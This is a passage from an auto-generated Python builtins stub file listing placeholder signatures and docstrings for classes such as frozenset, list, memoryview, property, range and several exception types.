  2584. Must be one of 'unknown', 'IEEE, big-endian' or 'IEEE, little-endian',
  2585. and in addition can only be one of the latter two if it appears to
  2586. match the underlying C reality.
  2587. It exists mainly to be used in Python's test suite.
  2588. Override the automatic determination of C-level floating point type.
  2589. This affects how floats are converted to and from binary strings.
  2590. """
  2591. pass
  2592. def __sub__(self, *args, **kwargs): # real signature unknown
  2593. """ Return self-value. """
  2594. pass
  2595. def __truediv__(self, *args, **kwargs): # real signature unknown
  2596. """ Return self/value. """
  2597. pass
  2598. def __trunc__(self, *args, **kwargs): # real signature unknown
  2599. """ Return the Integral closest to x between 0 and x. """
  2600. pass
  2601. imag = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  2602. """the imaginary part of a complex number"""
  2603. real = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  2604. """the real part of a complex number"""
  2605. class FloatingPointError(ArithmeticError):
  2606. """ Floating point operation failed. """
  2607. def __init__(self, *args, **kwargs): # real signature unknown
  2608. pass
  2609. @staticmethod # known case of __new__
  2610. def __new__(*args, **kwargs): # real signature unknown
  2611. """ Create and return a new object. See help(type) for accurate signature. """
  2612. pass
  2613. class frozenset(object):
  2614. """
  2615. frozenset() -> empty frozenset object
  2616. frozenset(iterable) -> frozenset object
  2617. Build an immutable unordered collection of unique elements.
  2618. """
  2619. def copy(self, *args, **kwargs): # real signature unknown
  2620. """ Return a shallow copy of a set. """
  2621. pass
  2622. def difference(self, *args, **kwargs): # real signature unknown
  2623. """
  2624. Return the difference of two or more sets as a new set.
  2625. (i.e. all elements that are in this set but not the others.)
  2626. """
  2627. pass
  2628. def intersection(self, *args, **kwargs): # real signature unknown
  2629. """
  2630. Return the intersection of two sets as a new set.
  2631. (i.e. all elements that are in both sets.)
  2632. """
  2633. pass
  2634. def isdisjoint(self, *args, **kwargs): # real signature unknown
  2635. """ Return True if two sets have a null intersection. """
  2636. pass
  2637. def issubset(self, *args, **kwargs): # real signature unknown
  2638. """ Report whether another set contains this set. """
  2639. pass
  2640. def issuperset(self, *args, **kwargs): # real signature unknown
  2641. """ Report whether this set contains another set. """
  2642. pass
  2643. def symmetric_difference(self, *args, **kwargs): # real signature unknown
  2644. """
  2645. Return the symmetric difference of two sets as a new set.
  2646. (i.e. all elements that are in exactly one of the sets.)
  2647. """
  2648. pass
  2649. def union(self, *args, **kwargs): # real signature unknown
  2650. """
  2651. Return the union of sets as a new set.
  2652. (i.e. all elements that are in either set.)
  2653. """
  2654. pass
  2655. def __and__(self, *args, **kwargs): # real signature unknown
  2656. """ Return self&value. """
  2657. pass
  2658. def __class_getitem__(self, *args, **kwargs): # real signature unknown
  2659. """ See PEP 585 """
  2660. pass
  2661. def __contains__(self, y): # real signature unknown; restored from __doc__
  2662. """ x.__contains__(y) <==> y in x. """
  2663. pass
  2664. def __eq__(self, *args, **kwargs): # real signature unknown
  2665. """ Return self==value. """
  2666. pass
  2667. def __getattribute__(self, *args, **kwargs): # real signature unknown
  2668. """ Return getattr(self, name). """
  2669. pass
  2670. def __ge__(self, *args, **kwargs): # real signature unknown
  2671. """ Return self>=value. """
  2672. pass
  2673. def __gt__(self, *args, **kwargs): # real signature unknown
  2674. """ Return self>value. """
  2675. pass
  2676. def __hash__(self, *args, **kwargs): # real signature unknown
  2677. """ Return hash(self). """
  2678. pass
  2679. def __init__(self, seq=()): # known special case of frozenset.__init__
  2680. """ Initialize self. See help(type(self)) for accurate signature. """
  2681. pass
  2682. def __iter__(self, *args, **kwargs): # real signature unknown
  2683. """ Implement iter(self). """
  2684. pass
  2685. def __len__(self, *args, **kwargs): # real signature unknown
  2686. """ Return len(self). """
  2687. pass
  2688. def __le__(self, *args, **kwargs): # real signature unknown
  2689. """ Return self<=value. """
  2690. pass
  2691. def __lt__(self, *args, **kwargs): # real signature unknown
  2692. """ Return self<value. """
  2693. pass
  2694. @staticmethod # known case of __new__
  2695. def __new__(*args, **kwargs): # real signature unknown
  2696. """ Create and return a new object. See help(type) for accurate signature. """
  2697. pass
  2698. def __ne__(self, *args, **kwargs): # real signature unknown
  2699. """ Return self!=value. """
  2700. pass
  2701. def __or__(self, *args, **kwargs): # real signature unknown
  2702. """ Return self|value. """
  2703. pass
  2704. def __rand__(self, *args, **kwargs): # real signature unknown
  2705. """ Return value&self. """
  2706. pass
  2707. def __reduce__(self, *args, **kwargs): # real signature unknown
  2708. """ Return state information for pickling. """
  2709. pass
  2710. def __repr__(self, *args, **kwargs): # real signature unknown
  2711. """ Return repr(self). """
  2712. pass
  2713. def __ror__(self, *args, **kwargs): # real signature unknown
  2714. """ Return value|self. """
  2715. pass
  2716. def __rsub__(self, *args, **kwargs): # real signature unknown
  2717. """ Return value-self. """
  2718. pass
  2719. def __rxor__(self, *args, **kwargs): # real signature unknown
  2720. """ Return value^self. """
  2721. pass
  2722. def __sizeof__(self): # real signature unknown; restored from __doc__
  2723. """ S.__sizeof__() -> size of S in memory, in bytes """
  2724. pass
  2725. def __sub__(self, *args, **kwargs): # real signature unknown
  2726. """ Return self-value. """
  2727. pass
  2728. def __xor__(self, *args, **kwargs): # real signature unknown
  2729. """ Return self^value. """
  2730. pass
  2731. class FutureWarning(Warning):
  2732. """
  2733. Base class for warnings about constructs that will change semantically
  2734. in the future.
  2735. """
  2736. def __init__(self, *args, **kwargs): # real signature unknown
  2737. pass
  2738. @staticmethod # known case of __new__
  2739. def __new__(*args, **kwargs): # real signature unknown
  2740. """ Create and return a new object. See help(type) for accurate signature. """
  2741. pass
  2742. class GeneratorExit(BaseException):
  2743. """ Request that a generator exit. """
  2744. def __init__(self, *args, **kwargs): # real signature unknown
  2745. pass
  2746. @staticmethod # known case of __new__
  2747. def __new__(*args, **kwargs): # real signature unknown
  2748. """ Create and return a new object. See help(type) for accurate signature. """
  2749. pass
  2750. class ImportError(Exception):
  2751. """ Import can't find module, or can't find name in module. """
  2752. def __init__(self, *args, **kwargs): # real signature unknown
  2753. pass
  2754. def __reduce__(self, *args, **kwargs): # real signature unknown
  2755. pass
  2756. def __str__(self, *args, **kwargs): # real signature unknown
  2757. """ Return str(self). """
  2758. pass
  2759. msg = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  2760. """exception message"""
  2761. name = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  2762. """module name"""
  2763. path = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  2764. """module path"""
  2765. class ImportWarning(Warning):
  2766. """ Base class for warnings about probable mistakes in module imports """
  2767. def __init__(self, *args, **kwargs): # real signature unknown
  2768. pass
  2769. @staticmethod # known case of __new__
  2770. def __new__(*args, **kwargs): # real signature unknown
  2771. """ Create and return a new object. See help(type) for accurate signature. """
  2772. pass
  2773. class SyntaxError(Exception):
  2774. """ Invalid syntax. """
  2775. def __init__(self, *args, **kwargs): # real signature unknown
  2776. pass
  2777. def __str__(self, *args, **kwargs): # real signature unknown
  2778. """ Return str(self). """
  2779. pass
  2780. filename = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  2781. """exception filename"""
  2782. lineno = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  2783. """exception lineno"""
  2784. msg = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  2785. """exception msg"""
  2786. offset = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  2787. """exception offset"""
  2788. print_file_and_line = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  2789. """exception print_file_and_line"""
  2790. text = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  2791. """exception text"""
  2792. class IndentationError(SyntaxError):
  2793. """ Improper indentation. """
  2794. def __init__(self, *args, **kwargs): # real signature unknown
  2795. pass
  2796. class LookupError(Exception):
  2797. """ Base class for lookup errors. """
  2798. def __init__(self, *args, **kwargs): # real signature unknown
  2799. pass
  2800. @staticmethod # known case of __new__
  2801. def __new__(*args, **kwargs): # real signature unknown
  2802. """ Create and return a new object. See help(type) for accurate signature. """
  2803. pass
  2804. class IndexError(LookupError):
  2805. """ Sequence index out of range. """
  2806. def __init__(self, *args, **kwargs): # real signature unknown
  2807. pass
  2808. @staticmethod # known case of __new__
  2809. def __new__(*args, **kwargs): # real signature unknown
  2810. """ Create and return a new object. See help(type) for accurate signature. """
  2811. pass
  2812. class InterruptedError(OSError):
  2813. """ Interrupted by signal. """
  2814. def __init__(self, *args, **kwargs): # real signature unknown
  2815. pass
  2816. class IsADirectoryError(OSError):
  2817. """ Operation doesn't work on directories. """
  2818. def __init__(self, *args, **kwargs): # real signature unknown
  2819. pass
  2820. class KeyboardInterrupt(BaseException):
  2821. """ Program interrupted by user. """
  2822. def __init__(self, *args, **kwargs): # real signature unknown
  2823. pass
  2824. @staticmethod # known case of __new__
  2825. def __new__(*args, **kwargs): # real signature unknown
  2826. """ Create and return a new object. See help(type) for accurate signature. """
  2827. pass
  2828. class KeyError(LookupError):
  2829. """ Mapping key not found. """
  2830. def __init__(self, *args, **kwargs): # real signature unknown
  2831. pass
  2832. def __str__(self, *args, **kwargs): # real signature unknown
  2833. """ Return str(self). """
  2834. pass
  2835. class list(object):
  2836. """
  2837. Built-in mutable sequence.
  2838. If no argument is given, the constructor creates a new empty list.
  2839. The argument must be an iterable if specified.
  2840. """
  2841. def append(self, *args, **kwargs): # real signature unknown
  2842. """ Append object to the end of the list. """
  2843. pass
  2844. def clear(self, *args, **kwargs): # real signature unknown
  2845. """ Remove all items from list. """
  2846. pass
  2847. def copy(self, *args, **kwargs): # real signature unknown
  2848. """ Return a shallow copy of the list. """
  2849. pass
  2850. def count(self, *args, **kwargs): # real signature unknown
  2851. """ Return number of occurrences of value. """
  2852. pass
  2853. def extend(self, *args, **kwargs): # real signature unknown
  2854. """ Extend list by appending elements from the iterable. """
  2855. pass
  2856. def index(self, *args, **kwargs): # real signature unknown
  2857. """
  2858. Return first index of value.
  2859. Raises ValueError if the value is not present.
  2860. """
  2861. pass
  2862. def insert(self, *args, **kwargs): # real signature unknown
  2863. """ Insert object before index. """
  2864. pass
  2865. def pop(self, *args, **kwargs): # real signature unknown
  2866. """
  2867. Remove and return item at index (default last).
  2868. Raises IndexError if list is empty or index is out of range.
  2869. """
  2870. pass
  2871. def remove(self, *args, **kwargs): # real signature unknown
  2872. """
  2873. Remove first occurrence of value.
  2874. Raises ValueError if the value is not present.
  2875. """
  2876. pass
  2877. def reverse(self, *args, **kwargs): # real signature unknown
  2878. """ Reverse *IN PLACE*. """
  2879. pass
  2880. def sort(self, *args, **kwargs): # real signature unknown
  2881. """
  2882. Sort the list in ascending order and return None.
  2883. The sort is in-place (i.e. the list itself is modified) and stable (i.e. the
  2884. order of two equal elements is maintained).
  2885. If a key function is given, apply it once to each list item and sort them,
  2886. ascending or descending, according to their function values.
  2887. The reverse flag can be set to sort in descending order.
  2888. """
  2889. pass
  2890. def __add__(self, *args, **kwargs): # real signature unknown
  2891. """ Return self+value. """
  2892. pass
  2893. def __class_getitem__(self, *args, **kwargs): # real signature unknown
  2894. """ See PEP 585 """
  2895. pass
  2896. def __contains__(self, *args, **kwargs): # real signature unknown
  2897. """ Return key in self. """
  2898. pass
  2899. def __delitem__(self, *args, **kwargs): # real signature unknown
  2900. """ Delete self[key]. """
  2901. pass
  2902. def __eq__(self, *args, **kwargs): # real signature unknown
  2903. """ Return self==value. """
  2904. pass
  2905. def __getattribute__(self, *args, **kwargs): # real signature unknown
  2906. """ Return getattr(self, name). """
  2907. pass
  2908. def __getitem__(self, y): # real signature unknown; restored from __doc__
  2909. """ x.__getitem__(y) <==> x[y] """
  2910. pass
  2911. def __ge__(self, *args, **kwargs): # real signature unknown
  2912. """ Return self>=value. """
  2913. pass
  2914. def __gt__(self, *args, **kwargs): # real signature unknown
  2915. """ Return self>value. """
  2916. pass
  2917. def __iadd__(self, *args, **kwargs): # real signature unknown
  2918. """ Implement self+=value. """
  2919. pass
  2920. def __imul__(self, *args, **kwargs): # real signature unknown
  2921. """ Implement self*=value. """
  2922. pass
  2923. def __init__(self, seq=()): # known special case of list.__init__
  2924. """
  2925. Built-in mutable sequence.
  2926. If no argument is given, the constructor creates a new empty list.
  2927. The argument must be an iterable if specified.
  2928. # (copied from class doc)
  2929. """
  2930. pass
  2931. def __iter__(self, *args, **kwargs): # real signature unknown
  2932. """ Implement iter(self). """
  2933. pass
  2934. def __len__(self, *args, **kwargs): # real signature unknown
  2935. """ Return len(self). """
  2936. pass
  2937. def __le__(self, *args, **kwargs): # real signature unknown
  2938. """ Return self<=value. """
  2939. pass
  2940. def __lt__(self, *args, **kwargs): # real signature unknown
  2941. """ Return self<value. """
  2942. pass
  2943. def __mul__(self, *args, **kwargs): # real signature unknown
  2944. """ Return self*value. """
  2945. pass
  2946. @staticmethod # known case of __new__
  2947. def __new__(*args, **kwargs): # real signature unknown
  2948. """ Create and return a new object. See help(type) for accurate signature. """
  2949. pass
  2950. def __ne__(self, *args, **kwargs): # real signature unknown
  2951. """ Return self!=value. """
  2952. pass
  2953. def __repr__(self, *args, **kwargs): # real signature unknown
  2954. """ Return repr(self). """
  2955. pass
  2956. def __reversed__(self, *args, **kwargs): # real signature unknown
  2957. """ Return a reverse iterator over the list. """
  2958. pass
  2959. def __rmul__(self, *args, **kwargs): # real signature unknown
  2960. """ Return value*self. """
  2961. pass
  2962. def __setitem__(self, *args, **kwargs): # real signature unknown
  2963. """ Set self[key] to value. """
  2964. pass
  2965. def __sizeof__(self, *args, **kwargs): # real signature unknown
  2966. """ Return the size of the list in memory, in bytes. """
  2967. pass
  2968. __hash__ = None
  2969. class map(object):
  2970. """
  2971. map(func, *iterables) --> map object
  2972. Make an iterator that computes the function using arguments from
  2973. each of the iterables. Stops when the shortest iterable is exhausted.
  2974. """
  2975. def __getattribute__(self, *args, **kwargs): # real signature unknown
  2976. """ Return getattr(self, name). """
  2977. pass
  2978. def __init__(self, func, *iterables): # real signature unknown; restored from __doc__
  2979. pass
  2980. def __iter__(self, *args, **kwargs): # real signature unknown
  2981. """ Implement iter(self). """
  2982. pass
  2983. @staticmethod # known case of __new__
  2984. def __new__(*args, **kwargs): # real signature unknown
  2985. """ Create and return a new object. See help(type) for accurate signature. """
  2986. pass
  2987. def __next__(self, *args, **kwargs): # real signature unknown
  2988. """ Implement next(self). """
  2989. pass
  2990. def __reduce__(self, *args, **kwargs): # real signature unknown
  2991. """ Return state information for pickling. """
  2992. pass
  2993. class MemoryError(Exception):
  2994. """ Out of memory. """
  2995. def __init__(self, *args, **kwargs): # real signature unknown
  2996. pass
  2997. @staticmethod # known case of __new__
  2998. def __new__(*args, **kwargs): # real signature unknown
  2999. """ Create and return a new object. See help(type) for accurate signature. """
  3000. pass
  3001. class memoryview(object):
  3002. """ Create a new memoryview object which references the given object. """
  3003. def cast(self, *args, **kwargs): # real signature unknown
  3004. """ Cast a memoryview to a new format or shape. """
  3005. pass
  3006. def hex(self): # real signature unknown; restored from __doc__
  3007. """
  3008. Return the data in the buffer as a str of hexadecimal numbers.
  3009. sep
  3010. An optional single character or byte to separate hex bytes.
  3011. bytes_per_sep
  3012. How many bytes between separators. Positive values count from the
  3013. right, negative values count from the left.
  3014. Example:
  3015. >>> value = memoryview(b'\xb9\x01\xef')
  3016. >>> value.hex()
  3017. 'b901ef'
  3018. >>> value.hex(':')
  3019. 'b9:01:ef'
  3020. >>> value.hex(':', 2)
  3021. 'b9:01ef'
  3022. >>> value.hex(':', -2)
  3023. 'b901:ef'
  3024. """
  3025. pass
  3026. def release(self, *args, **kwargs): # real signature unknown
  3027. """ Release the underlying buffer exposed by the memoryview object. """
  3028. pass
  3029. def tobytes(self, *args, **kwargs): # real signature unknown
  3030. """
  3031. Return the data in the buffer as a byte string. Order can be {'C', 'F', 'A'}.
  3032. When order is 'C' or 'F', the data of the original array is converted to C or
  3033. Fortran order. For contiguous views, 'A' returns an exact copy of the physical
  3034. memory. In particular, in-memory Fortran order is preserved. For non-contiguous
  3035. views, the data is converted to C first. order=None is the same as order='C'.
  3036. """
  3037. pass
  3038. def tolist(self, *args, **kwargs): # real signature unknown
  3039. """ Return the data in the buffer as a list of elements. """
  3040. pass
  3041. def toreadonly(self, *args, **kwargs): # real signature unknown
  3042. """ Return a readonly version of the memoryview. """
  3043. pass
  3044. def __delitem__(self, *args, **kwargs): # real signature unknown
  3045. """ Delete self[key]. """
  3046. pass
  3047. def __enter__(self, *args, **kwargs): # real signature unknown
  3048. pass
  3049. def __eq__(self, *args, **kwargs): # real signature unknown
  3050. """ Return self==value. """
  3051. pass
  3052. def __exit__(self, *args, **kwargs): # real signature unknown
  3053. pass
  3054. def __getattribute__(self, *args, **kwargs): # real signature unknown
  3055. """ Return getattr(self, name). """
  3056. pass
  3057. def __getitem__(self, *args, **kwargs): # real signature unknown
  3058. """ Return self[key]. """
  3059. pass
  3060. def __ge__(self, *args, **kwargs): # real signature unknown
  3061. """ Return self>=value. """
  3062. pass
  3063. def __gt__(self, *args, **kwargs): # real signature unknown
  3064. """ Return self>value. """
  3065. pass
  3066. def __hash__(self, *args, **kwargs): # real signature unknown
  3067. """ Return hash(self). """
  3068. pass
  3069. def __init__(self, *args, **kwargs): # real signature unknown
  3070. pass
  3071. def __len__(self, *args, **kwargs): # real signature unknown
  3072. """ Return len(self). """
  3073. pass
  3074. def __le__(self, *args, **kwargs): # real signature unknown
  3075. """ Return self<=value. """
  3076. pass
  3077. def __lt__(self, *args, **kwargs): # real signature unknown
  3078. """ Return self<value. """
  3079. pass
  3080. @staticmethod # known case of __new__
  3081. def __new__(*args, **kwargs): # real signature unknown
  3082. """ Create and return a new object. See help(type) for accurate signature. """
  3083. pass
  3084. def __ne__(self, *args, **kwargs): # real signature unknown
  3085. """ Return self!=value. """
  3086. pass
  3087. def __repr__(self, *args, **kwargs): # real signature unknown
  3088. """ Return repr(self). """
  3089. pass
  3090. def __setitem__(self, *args, **kwargs): # real signature unknown
  3091. """ Set self[key] to value. """
  3092. pass
  3093. contiguous = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3094. """A bool indicating whether the memory is contiguous."""
  3095. c_contiguous = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3096. """A bool indicating whether the memory is C contiguous."""
  3097. format = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3098. """A string containing the format (in struct module style)
  3099. for each element in the view."""
  3100. f_contiguous = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3101. """A bool indicating whether the memory is Fortran contiguous."""
  3102. itemsize = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3103. """The size in bytes of each element of the memoryview."""
  3104. nbytes = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3105. """The amount of space in bytes that the array would use in
  3106. a contiguous representation."""
  3107. ndim = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3108. """An integer indicating how many dimensions of a multi-dimensional
  3109. array the memory represents."""
  3110. obj = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3111. """The underlying object of the memoryview."""
  3112. readonly = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3113. """A bool indicating whether the memory is read only."""
  3114. shape = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3115. """A tuple of ndim integers giving the shape of the memory
  3116. as an N-dimensional array."""
  3117. strides = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3118. """A tuple of ndim integers giving the size in bytes to access
  3119. each element for each dimension of the array."""
  3120. suboffsets = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3121. """A tuple of integers used internally for PIL-style arrays."""
  3122. class ModuleNotFoundError(ImportError):
  3123. """ Module not found. """
  3124. def __init__(self, *args, **kwargs): # real signature unknown
  3125. pass
  3126. class NameError(Exception):
  3127. """ Name not found globally. """
  3128. def __init__(self, *args, **kwargs): # real signature unknown
  3129. pass
  3130. @staticmethod # known case of __new__
  3131. def __new__(*args, **kwargs): # real signature unknown
  3132. """ Create and return a new object. See help(type) for accurate signature. """
  3133. pass
  3134. class NotADirectoryError(OSError):
  3135. """ Operation only works on directories. """
  3136. def __init__(self, *args, **kwargs): # real signature unknown
  3137. pass
  3138. class RuntimeError(Exception):
  3139. """ Unspecified run-time error. """
  3140. def __init__(self, *args, **kwargs): # real signature unknown
  3141. pass
  3142. @staticmethod # known case of __new__
  3143. def __new__(*args, **kwargs): # real signature unknown
  3144. """ Create and return a new object. See help(type) for accurate signature. """
  3145. pass
  3146. class NotImplementedError(RuntimeError):
  3147. """ Method or function hasn't been implemented yet. """
  3148. def __init__(self, *args, **kwargs): # real signature unknown
  3149. pass
  3150. @staticmethod # known case of __new__
  3151. def __new__(*args, **kwargs): # real signature unknown
  3152. """ Create and return a new object. See help(type) for accurate signature. """
  3153. pass
  3154. class OverflowError(ArithmeticError):
  3155. """ Result too large to be represented. """
  3156. def __init__(self, *args, **kwargs): # real signature unknown
  3157. pass
  3158. @staticmethod # known case of __new__
  3159. def __new__(*args, **kwargs): # real signature unknown
  3160. """ Create and return a new object. See help(type) for accurate signature. """
  3161. pass
  3162. class PendingDeprecationWarning(Warning):
  3163. """
  3164. Base class for warnings about features which will be deprecated
  3165. in the future.
  3166. """
  3167. def __init__(self, *args, **kwargs): # real signature unknown
  3168. pass
  3169. @staticmethod # known case of __new__
  3170. def __new__(*args, **kwargs): # real signature unknown
  3171. """ Create and return a new object. See help(type) for accurate signature. """
  3172. pass
  3173. class PermissionError(OSError):
  3174. """ Not enough permissions. """
  3175. def __init__(self, *args, **kwargs): # real signature unknown
  3176. pass
  3177. class ProcessLookupError(OSError):
  3178. """ Process not found. """
  3179. def __init__(self, *args, **kwargs): # real signature unknown
  3180. pass
  3181. class property(object):
  3182. """
  3183. Property attribute.
  3184. fget
  3185. function to be used for getting an attribute value
  3186. fset
  3187. function to be used for setting an attribute value
  3188. fdel
  3189. function to be used for del'ing an attribute
  3190. doc
  3191. docstring
  3192. Typical use is to define a managed attribute x:
  3193. class C(object):
  3194. def getx(self): return self._x
  3195. def setx(self, value): self._x = value
  3196. def delx(self): del self._x
  3197. x = property(getx, setx, delx, "I'm the 'x' property.")
  3198. Decorators make defining new properties or modifying existing ones easy:
  3199. class C(object):
  3200. @property
  3201. def x(self):
  3202. "I am the 'x' property."
  3203. return self._x
  3204. @x.setter
  3205. def x(self, value):
  3206. self._x = value
  3207. @x.deleter
  3208. def x(self):
  3209. del self._x
  3210. """
  3211. def deleter(self, *args, **kwargs): # real signature unknown
  3212. """ Descriptor to change the deleter on a property. """
  3213. pass
  3214. def getter(self, *args, **kwargs): # real signature unknown
  3215. """ Descriptor to change the getter on a property. """
  3216. pass
  3217. def setter(self, *args, **kwargs): # real signature unknown
  3218. """ Descriptor to change the setter on a property. """
  3219. pass
  3220. def __delete__(self, *args, **kwargs): # real signature unknown
  3221. """ Delete an attribute of instance. """
  3222. pass
  3223. def __getattribute__(self, *args, **kwargs): # real signature unknown
  3224. """ Return getattr(self, name). """
  3225. pass
  3226. def __get__(self, *args, **kwargs): # real signature unknown
  3227. """ Return an attribute of instance, which is of type owner. """
  3228. pass
  3229. def __init__(self, fget=None, fset=None, fdel=None, doc=None): # known special case of property.__init__
  3230. """
  3231. Property attribute.
  3232. fget
  3233. function to be used for getting an attribute value
  3234. fset
  3235. function to be used for setting an attribute value
  3236. fdel
  3237. function to be used for del'ing an attribute
  3238. doc
  3239. docstring
  3240. Typical use is to define a managed attribute x:
  3241. class C(object):
  3242. def getx(self): return self._x
  3243. def setx(self, value): self._x = value
  3244. def delx(self): del self._x
  3245. x = property(getx, setx, delx, "I'm the 'x' property.")
  3246. Decorators make defining new properties or modifying existing ones easy:
  3247. class C(object):
  3248. @property
  3249. def x(self):
  3250. "I am the 'x' property."
  3251. return self._x
  3252. @x.setter
  3253. def x(self, value):
  3254. self._x = value
  3255. @x.deleter
  3256. def x(self):
  3257. del self._x
  3258. # (copied from class doc)
  3259. """
  3260. pass
  3261. @staticmethod # known case of __new__
  3262. def __new__(*args, **kwargs): # real signature unknown
  3263. """ Create and return a new object. See help(type) for accurate signature. """
  3264. pass
  3265. def __set__(self, *args, **kwargs): # real signature unknown
  3266. """ Set an attribute of instance to value. """
  3267. pass
  3268. fdel = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3269. fget = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3270. fset = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3271. __isabstractmethod__ = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3272. class range(object):
  3273. """
  3274. range(stop) -> range object
  3275. range(start, stop[, step]) -> range object
  3276. Return an object that produces a sequence of integers from start (inclusive)
  3277. to stop (exclusive) by step. range(i, j) produces i, i+1, i+2, ..., j-1.
  3278. start defaults to 0, and stop is omitted! range(4) produces 0, 1, 2, 3.
  3279. These are exactly the valid indices for a list of 4 elements.
  3280. When step is given, it specifies the increment (or decrement).
  3281. """
  3282. def count(self, value): # real signature unknown; restored from __doc__
  3283. """ rangeobject.count(value) -> integer -- return number of occurrences of value """
  3284. return 0
  3285. def index(self, value): # real signature unknown; restored from __doc__
  3286. """
  3287. rangeobject.index(value) -> integer -- return index of value.
  3288. Raise ValueError if the value is not present.
  3289. """
  3290. return 0
  3291. def __bool__(self, *args, **kwargs): # real signature unknown
  3292. """ self != 0 """
  3293. pass
  3294. def __contains__(self, *args, **kwargs): # real signature unknown
  3295. """ Return key in self. """
  3296. pass
  3297. def __eq__(self, *args, **kwargs): # real signature unknown
  3298. """ Return self==value. """
  3299. pass
  3300. def __getattribute__(self, *args, **kwargs): # real signature unknown
  3301. """ Return getattr(self, name). """
  3302. pass
  3303. def __getitem__(self, *args, **kwargs): # real signature unknown
  3304. """ Return self[key]. """
  3305. pass
  3306. def __ge__(self, *args, **kwargs): # real signature unknown
  3307. """ Return self>=value. """
  3308. pass
  3309. def __gt__(self, *args, **kwargs): # real signature unknown
  3310. """ Return self>value. """
  3311. pass
  3312. def __hash__(self, *args, **kwargs): # real signature unknown
  3313. """ Return hash(self). """
  3314. pass
  3315. def __init__(self, stop): # real signature unknown; restored from __doc__
  3316. pass
  3317. def __iter__(self, *args, **kwargs): # real signature unknown
  3318. """ Implement iter(self). """
  3319. pass
  3320. def __len__(self, *args, **kwargs): # real signature unknown
  3321. """ Return len(self). """
  3322. pass
  3323. def __le__(self, *args, **kwargs): # real signature unknown
  3324. """ Return self<=value. """
  3325. pass
  3326. def __lt__(self, *args, **kwargs): # real signature unknown
  3327. """ Return self<value. """
  3328. pass
  3329. @staticmethod # known case of __new__
  3330. def __new__(*args, **kwargs): # real signature unknown
  3331. """ Create and return a new object. See help(type) for accurate signature. """
  3332. pass
  3333. def __ne__(self, *args, **kwargs): # real signature unknown
  3334. """ Return self!=value. """
  3335. pass
  3336. def __reduce__(self, *args, **kwargs): # real signature unknown
  3337. pass
  3338. def __repr__(self, *args, **kwargs): # real signature unknown
  3339. """ Return repr(self). """
  3340. pass
  3341. def __reversed__(self, *args, **kwargs): # real signature unknown
  3342. """ Return a reverse iterator. """
  3343. pass
  3344. start = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3345. step = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3346. stop = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  3347. class RecursionError(RuntimeError):
  3348. """ Recursion limit exceeded. """
  3349. def __init__(self, *args, **kwargs): # real signature unknown
  3350. pass
  3351. @staticmethod # known case of __new__
  3352. def __new__(*args, **kwargs): # real signature unknown
  3353. """ Create and return a new object. See help(type) for accurate signature. """
  3354. pass
  3355. class ReferenceError(Exception):
  3356. """ Weak ref proxy used after referent went away. """
  3357. def __init__(self, *args, **kwargs): # real signature unknown
  3358. pass
  3359. @staticmethod # known case of __new__
  3360. def __new__(*args, **kwargs): # real signature unknown
  3361. """ Create and return a new object. See help(type) for accurate signature. """
  3362. pass
  3363. class ResourceWarning(Warning):
  3364. """ Base class for warnings about resource usage. """
  3365. def __init__(self, *args, **kwargs): # real signature unknown
  3366. pass
  3367. @staticmethod # known case of __new__
  3368. def __new__(*args, **kwargs): # real signature unknown
  3369. """ Create and return a new object. See help(type) for accurate signature. """
  3370. pass
  3371. class reversed(object):
  3372. """ Return a reverse iterator over the values of the given sequence. """
  3373. def __getattribute__(self, *args, **kwargs): # real signature unknown
  3374. """ Return getattr(self, name). """
  3375. pass
  3376. def __init__(self, *args, **kwargs): # real signature unknown
  3377. pass
  3378. def __iter__(self, *args, **kwargs): # real signature unknown
  3379. """ Implement iter(self). """
  3380. pass
  3381. def __length_hint__(self, *args, **kwargs): # real signature unknown
  3382. """ Private method returning an estimate of len(list(it)). """
  3383. pass
  3384. @staticmethod # known case of __new__
  3385. def __new__(*args, **kwargs): # real signature unknown
  3386. """ Create and return a new object. See help(type) for accurate signature. """
  3387. pass
  3388. def __next__(self, *args, **kwargs): # real signature unknown
  3389. """ Implement next(self). """
  3390. pass
  3391. def __reduce__(self, *args, **kwargs): # real signature unknown
  3392. """ Return state information for pickling. """
  3393. pass
  3394. def __setstate__(self, *args, **kwargs): # real signature unknown
  3395. """ Set state information for unpickling. """
  3396. pass
  3397. class RuntimeWarning(Warning):
  3398. """ Base class for warnings about dubious runtime behavior. """
  3399. def __init__(self, *args, **kwargs): # real signature unknown
  3400. pass
  3401. @staticmethod # known case of __new__
  3402. def __new__(*args, **kwargs): # real signature unknown
  3403. """ Create and return a new object. See help(type) for accurate signature. """
  3404. pass
  3405. class set(object):
  3406. """
  3407. set() -> new empty set object
  3408. set(iterable) -> new set object
  3409. Build an unordered collection of unique elements.
  3410. """
  3411. def add(self, *args, **kwargs): # real signature unknown
  3412. """
  3413. Add an element to a set.
  3414. This has no effect if the element is already present.
  3415. """
  3416. pass
  3417. def clear(self, *args, **kwargs): # real signature unknown
  3418. """ Remove all elements from this set. """
  3419. pass
